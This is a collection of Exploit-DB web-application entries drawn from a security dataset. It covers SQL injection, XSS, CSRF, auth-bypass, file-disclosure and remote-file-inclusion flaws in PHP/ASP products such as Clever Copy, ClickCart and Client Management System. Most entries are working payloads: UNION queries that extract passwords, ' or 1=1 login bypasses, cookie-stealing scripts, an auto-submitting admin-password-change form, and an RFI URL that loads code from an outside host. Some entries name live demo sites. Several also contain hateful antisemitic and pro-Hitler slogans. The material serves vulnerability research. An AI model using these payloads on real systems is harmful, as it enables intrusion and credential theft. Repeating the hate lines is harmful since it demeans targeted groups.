deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31035
Description: Clever Copy 3.0 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-17
Author: hadihadi

Exploit:
source: https://www.securityfocus.com/bid/27335/info

Clever Copy is prone to multiple input-validation vulnerabilities, including two SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Clever Copy 3.0; other versions may also be affected.

http://www.example.com/cc/postcomment.php?ID=&#039;/**/union/**/select/**/1,2,3,4,5,6,concat(char(117,115,101,114,110,97,109,101,61),username),concat(0x[PII_REDACTED]6f72643d,password),9,10,11,12,13,14,15,16,17/**/from/**/cc_users/**/where/**/theid=1/*
http://www.example.com/cc/gallery.php?album=&#039;/**/union/**/select/**/null,password,null,null,username,null,null,null/**/from/**/cc_users/**/where/**/theid=1/*
http://www.example.com/cc/gallery.php?album=<script>alert(&#039;xss&#039;)</script>
Exploit-DB #7817
Description: Click&Email - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-18
Author: SuB-ZeRo

Exploit:
* Founded By : SuB-ZeRo (WaLiD)

* E-mail : Fbh@hotmail.com

* Home : WwW.dz-security.Net

* GreeTZ : Evils-dz & X.CJP.x & www.dz-security.net & gaza

---------------------------------------------------------

vondor : http://icash.ch

---------------------------------------------------------

Exploit Auth Bypass:



login: ' or ' 1=1

passw: ' or ' 1=1

----------------------------------------------------------

-[!]

Demo :

http://icash.ch/ClickAndEmailDemo/admin.asp

----------------------------------------------------------

# milw0rm.com [2009-01-18]
Exploit-DB #12867
Description: clickartweb Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-03
Author: cyberlog

Exploit:
####################################################
# clickartweb Design SQL Injection Vulnerability
####################################################
# Vendor: http://www.clickartweb.com
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "diseño y programación Clickart" 
		  
# Exploit       : [site]/qui_som.php?id=[SQL Injection]
		  [site]/eobre_grupo_lleal.php?id= [SQL Injection]
                  [site]/galeria.php?id= [SQL Injection]
		  

# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews, aurel666,DBanie,SAleho,
# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Hiroyuki Doni thanks to create New design SO T-shirt :)P
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################

# Demo: 
# http://localhost/eobre_grupo_lleal.php?id=[sql]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I L0v3 U :P
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity
Exploit-DB #7880
Description: ClickAuction - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-26
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢


[â˜ ]
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability

[â˜ ]

[~] Vendor: ClickAuction

[â˜ ]
[â˜ ] Software: ClickAuction

[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))


[â˜ ]
[â˜ ] Date: 26.1.2009


[â˜ ]
[â˜ ] Home: www.ahacker.biz

[â˜ ]
[â˜ ] contact: N/A



[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 


[â˜ ] Exploit:



[â˜ ] username: r0' or ' 1=1--


[â˜ ] password: r0' or ' 1=1--




[â˜ ]login 4 d3m0:



[â˜ ]www.clicktech.com/clickauction/login.asp

N073:
FUCKEN !SRAEL DON'T FORGET ((â˜ HETLARâ˜ ))

GOD HELP GAZA!!

[~]-----------------------------{str0ke}---------------------------------------------------

[~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & M4NON
[~]

[~] spechial thanks : dolly & 7am3m & EL z0hery & SWEET NONO & {str0ke}

[~]

[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller

[~]

[~] xp10.biz & ahacker.biz

[~]


[~]--------------------------------------------------------------------------------

Get news, entertainment and everything you care about at Live.com. Check it out!

# milw0rm.com [2009-01-26]
Exploit-DB #32432
Description: ClickBank Portal - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-27
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/31438/info

Clickbank Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example is available:

http://www.example.com/search.php
in search box code Xss
Exploit-DB #7953
Description: ClickCart 6.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-03
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
 [â˜ ]
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
 [â˜ ]
[~] Vendor: clicktech.com
 [â˜ ]
[â˜ ] Software: clickcart 6.0
 [â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
 [â˜ ]
[â˜ ] Date: 2.2.2009
 [â˜ ]
[â˜ ] Home: WwW.aHACKER.biz
 [â˜ ]
[â˜ ] contact: N/A
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] Exploit:

[â˜ ] E-/\/\A!L : r0' or ' 1=1--
[â˜ ] password : r0' or ' 1=1--

[â˜ ]login 4 d3m0:

[â˜ ]www.clicktech.com/clickcart6/customer_login.asp

N073:
FUCKEN !SRAEL DON'T FORGET ((â˜ HETLARâ˜ ))

GOD HELP GAZA!!

[~]-----------------------------{str0ke}-----------------------------------------------------
[~] Greetz tO: {str0ke} & maxmos & Mr.DaNgeR & hesham_hacker & K374 & M4NON & EL z0hery
 [~]
[~] spechial thanks : ((dolly)) & ((7am3m)) & ghost L0v3R & Û©ÛžÛ©à¹‘ SEMSEM à¹‘Û©ÛžÛ© & {str0ke}
 [~]
[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
 [~]
[~] exploi6.biZ & ahacker.biz
 [~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-02-03]
Exploit-DB #36090
Description: ClickCMS - Denial of Service / CAPTCHA Bypass
Type: webapps
Platform: php
Date: 2011-08-29
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/49361/info

ClickCMS is prone to a denial-of-service vulnerability and a CAPTCHA-bypass vulnerability.

Attackers can leverage these issues to cause the affected server to stop responding or to bypass certain security mechanisms. 

http://www.example.com/captcha/CaptchaSecurityImages.php?width=150&height=100&characters=2
http://www.example.com/captcha/CaptchaSecurityImages.php?width=1000&height=9000
Exploit-DB #14056
Description: Clicker CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-26
Author: hacker@sr.gov.yu

Exploit:
# Exploit Title: Clicker CMS Blind SQL Injection Vulnerability
# Date: 2010-06-25
# Author: hacker@sr.gov.yu
# Software Link: n/a
# Version: n/a


####################################################################
.:. Author : hacker@sr.gov.yu
.:. Contact: hacker@evilzone.org, hacker@sr.gov.yu(MSN)
.:. Home : www.evilzone.org, www.balcan-security.com
.:. Script : Clicker CMS
.:. Bug Type : Blind Sql Injection
.:. Risk: High
.:. Tested on : Windows & Linux
####################################################################

===[ Exploit ]===

.:. It was found that Clicker CMS does not validate properly the "lang"
parameter value.

http://server/index.php?lang=4[BSQLi]

===[ Example ]===

http://server/index.php?lang=4 and substring(@@version,1,1)=5-- (true or false)
http://server/index.php?lang=4 and substring(@@version,1,1)=4-- (false or true)


===[ Solution ]===

.:. Input validation of "lang" parameter should be corrected.


Greetz to ALL EVILZONE.org && BALCAN-SECURITY.com members!!!
Pozdrav za sve iz Srbije!!! :-)))
Exploit-DB #37266
Description: ClickHeat 1.14 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2015-06-12
Author: David Shanahan

Exploit:
# Exploit Title: ClickHeat <1.1.4 Change Admin Password CSRF
# Google Dork: allinurl:/clickheat/
# Date: 11-06-2015
# Exploit Author: David Shanahan (@CyberpunkSec)
# Contact: https://twitter.com/CyberpunkSec
# Vendor Homepage: http://www.labsmedia.com/clickheat/index.html
# Software Link: http://sourceforge.net/projects/clickheat/files/clickheat/
# Version: 1.14
# Tested on: Windows

---- Description ----

ClickHeat is vulnerable to a CSRF attack because it does not implement a
CSRF token when updating the config file.  If an authenticated admin is
tricked into opening this malicious URL, the form will be submitted which
changes the administrator password to the one the attacker has specified.

---- CSRF PoC ----

Set the value of "adminLogin" to the administrators username, then set the
value of "adminPass" to a md5 hash of the password you want. (you may also
need to change the "logPath" & "cachePath")

/* CODE */

<body onload="document.forms[0].submit()">

<form action="http://127.0.0.1/clickheat/index.php?action=config"
method="post" class="center">
<input type="hidden" name="config" value="a:23:{s:7:"logPath";s:31:"C:/xampp
/htdocs/clickheat/logs/";s:9:"cachePath";s:32:"C:/xampp/htdocs/clickheat
/cache/";s:8:"referers";b:0;s:6:"groups";b:0;s:8:"filesize";i:0;s:10:"
adminLogin";s:5:"admin";s:9:"adminPass";s:32:"
5f4dcc3b5aa765d61d8327deb882cf99";s:11:"viewerLogin";s:0:"";s:10:"viewerPass
";s:0:"";s:6:"memory";i:128;s:4:"step";i:5;s:3:"dot";i:19;s:5:"flush";i:40;s:5:"start";s:1:"m";s:7:"palette";b:0;s:7:"
heatmap";b:1;s:11:"hideIframes";b:1;s:11:"hideFlashes
";b:1;s:9:"yesterday";b:0;s:5:"alpha";i:80;s:13:"__screenSizes
";a:10:{i:0;i:0;i:1;i:240;i:2;i:640;i:3;i:800;i:4;i:1024;i:5;i:1152;i:6;i:1280;i:7;i:1440;i:8;i:1600;i:9;i:1800;}s:14:"__
browsersList";a:7:{s:3:"all";s:0:"";s:4:"msie";s:17:"Internet
Explorer";s:7:"firefox";s:7:"Firefox";s:6:"chrome";s:6:"Chrome";s:6:"safari";s:6:"Safari";s:5:"opera";s:5:"Opera";s:7:"unknown";s:0:"";}s:7:"version";s:4:"1.14";}"
/>
<input type="hidden" name="save" value="true" /><input type="submit"
value="Save configuration" /></form>

/* CODE */

---- Solution ----

The ClickHeat project seems to be dead, as it has not been updated since
late 2011.  Due to this, I truly doubt a patch will be issued so I would
recommend removing this product from your website.
Exploit-DB #9037
Description: Clicknet CMS 2.1 - 'side' Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2009-06-29
Author: ThE g0bL!N

Exploit:
#################################################################################################################
[+] Clicknet CMS v2.1(side) File Disclosure Vulnerability
[+] Discovered By ThE g0bL!N
[+] Vendor:http://cms.clicknet.dk
[+} Download:http://cms.clicknet.dk/download/index.php?test=2
[+] Dork:"Powered by Clicknet CMS"
[+] Note: All Site Danemark So Fuck It please :)
[+] Greets : R3d-D3v!L
#################################################################################################################
Exploit:
-------
Exploit
---
http://127.0.0.1/index.php?side=../index [ out of .php ]
Then View Source To Get A good View
Demo
----
http://www.t68.clicknet.dk/index.php?side=../index
################################################################################################################

# milw0rm.com [2009-06-29]
Exploit-DB #12500
Description: Clicksor - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-04
Author: JM511

Exploit:
( ALLH AKBAR )

#####################################################################################################
# Exploit Title: [Clicksor SQL Injecti0n Vulnerability]     -::DESCRIPTION
# Date: [4 de mayo de 2010]               -::DATE
# Author: [ JM511 ]   	EmaiL : p3w@hotmail.com , JSQLM@hotmail.com     -::AUTHOR
# From :\ Saudi Arabia , 
# Greetz to:	[ GoLdeN-Z3r0 , Dr.Exe , Sec-q8 , Shi5 aL Hacker , SaFa7 al3nzee , BlacK DeaTh ]
# Home : www.Sec-CenTer.com , www.JM511.com
# Platform / Tested on: [php]  -::TYPE
# category: [SQL Injecti0n]
# d0rK g00gl3 :- " inurl:index.php?= "  Or " Powered by Clicksor.com Contextual Advertising "
#
######################################################################################################
#[ Exploit ]#

    [»] http://[target].com/index.php?page=view&id=511 <== [ SQL ]

    [»] SQL :  -511+UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8+from+parapara_copp1.jos_users

#[ DEMO ]#  * l0uk o That  : <title> 1> 3 > 4 </title>


    [»] http://server/index.php?page=view&id=-511+UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8+from+parapara_copp1.jos_users

################################################################################

Greetings to: D7ooM-JpeeL , DLO , Virus511 , Security Hacker , ALL Team 511 , ALL MuslimS 

# ~  - [ [ : arab : ] ]
Exploit-DB #21454
Description: Clicky Web Pseudo-frames 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-05-12
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4756/info

Pseudo-frames is an application written in PHP and is maintained by Clicky Web.

Pseudo-frames permit remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. If this file is a PHP script, it will be executed on the host running the vulnerable software.

http://www.site.com/index.php?page=http://www.haxor.com/file
Exploit-DB #51135
Description: ClicShopping v3.402 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-30
Author: nu11secur1ty

Exploit:
## Title: ClicShopping v3.402 - Cross-Site Scripting (XSS) 
## Author: nu11secur1ty
## Date: 11.20.2022
## Vendor: https://www.clicshopping.org/forum/
## Software: https://github.com/ClicShopping/ClicShopping_V3/releases/tag/version3_402
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3

## Description:
The name of an arbitrarily supplied URL parameter is copied into the
value of an HTML tag attribute which is encapsulated in double
quotation marks.
The attacker can trick users to open a very dangerous link or he can
get sensitive information, also he can destroy some components of your
system.

## STATUS: HIGH Vulnerability

[+] Payload:

```js
GET /ClicShopping_V3-version3_402/index.php?Search&AdvancedSearch&bel9c%22onmouseover%3d%22alert(`Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole`)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22zgm9j=1
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3)

## Proof and Exploit:
[href]()https://streamable.com/rzpgsu

## Time spent
`1:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #41287
Description: Client Expert 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Complete Client Management & Billing v1.0.1 Script- SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://www.ynetinteractive.com/
# Software Buy: http://www.ynetinteractive.com/clientexpert/demo.php
# Demo: http://www.ynetinteractive.com/clientexpert/demo.php
# Version: 1.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as client user
# http://localhost/[PATH]/index.php?view=ViewInvoice&id=[SQL]
# http://localhost/[PATH]/index.php?view=ViewTicket&id=[SQL]
# Etc...
# # # # #
Exploit-DB #48956
Description: Client Management System 1.0 - 'searchdata' SQL injection
Type: webapps
Platform: php
Date: 2020-10-27
Author: Serkan Sancar

Exploit:
# Exploit Title: Client Management System 1.0 - 'searchdata' SQL injection
# Date: 26/10/2020
# Exploit Author: Serkan Sancar
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: 1.0
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3

Step 1: Open the URL http://localhost/clientms/client/index.php

Step 2: Login to client user on panel

Step 3: use check sql injection payload 1' or 1=1# in searchbox field

Malicious Request on burp suite

POST /clientms/client/search-invoices.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/clientms/client/search-invoices.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 210
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=q38d8f3sveqjciu02csdfem453
Upgrade-Insecure-Requests: 1

searchdata=1%27+or+1%3D1%23&search=

Step 4: You will list all invoices and you will had checked sql injection on The Panel.

Example other method:
you saved to inspected package on burp suite. you can exploitation more easily with use sqlmap -r parameter.
sqlmap -r cms.txt --risk=1 --level=1 --dbms=mysql --dbs
Exploit-DB #50177
Description: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-04
Author: Mohammad Koochaki

Exploit:
# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
# Date: 2021-08-04
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: 1.1
# Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'searchdata'
parameter at the following path:
        - Reflected: http://localhost/admin/search-invoices.php
        - Reflected: http://localhost/client/search-invoices.php
        - Stored: http://localhost/client/client-profile.php

### Payloads:
        - Reflected: </h4><script>alert(document.cookie)</script>
        - Stored: "><script>alert(document.cookie)</script>Anuj+Kumar

### PoC:

## Reflected:
POST /admin/search-invoices.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/search-invoices.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

searchdata=</h4><script>alert(document.cookie)</script>&search=


## Stored:
POST /client/client-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/client/client-profile.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=[PII_REDACTED]&cellphnumber=[PII_REDACTED]&ophnumber=[PII_REDACTED]&email=phpgurukulofficial%
40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com&notes=New+User&submit=
Exploit-DB #50007
Description: Client Management System 1.1 - 'username' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-15
Author: BHAVESH KAUL

Exploit:
# Exploit Title: Client Management System 1.1 - 'username' Stored Cross-Site Scripting (XSS)
# Date: 14 June 2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/
# Version: 1.1
# Tested on: Server: XAMPP

# Description #

Client Management System 1.1 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitization. 

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/clientms/admin/index.php
2) Login as admin using test credentials: admin/Test@123
3) Goto: http://localhost/clientms/admin/admin-profile.php
4) Enter the following payload in the user name field: <script>alert(1)</script>
5) Click on Update
6) Our payload is fired and stored